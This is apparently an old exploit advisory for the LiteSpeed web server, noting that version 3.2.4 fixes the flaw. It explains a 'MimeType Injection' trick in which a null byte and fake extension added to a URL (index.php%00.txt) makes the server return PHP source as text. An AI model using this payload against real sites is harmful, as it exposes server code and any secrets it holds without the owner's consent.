# Upgrade to LiteSpeed 3.2.4 has just been released today.                             #

# This vuln was found before an update was released they fixed it after they found it..#
# In their logs.                                                                       #

# Example:                                                                             # 
# Basicly if you had a URL like so http://www.site.com/index.php.                      #
# And you wanted this websites source you could simply add a nullbyte and an extension #
# Like So http://www.site.com/index.php%00.txt                                         #
# Litespeed would then at this point asume the file is a txt file.                     #
#                                                                                      #
# Keep in mind that this vuln is Mime Type Injection... so it works with any type.     #
# Like if you did %00.rar it would asume the index.php was a rar file.                 #
# Theres a numerous ammount of things you could do.                                    #
#                                                                                      #
# As to of why litespeed does this is not confirmed by us just yet.                    #
#                                                                                      #
# I asume it has somthing to do with mimetype handling thus the name of the exploit.   #
# MimeType Injection.                                                                  #
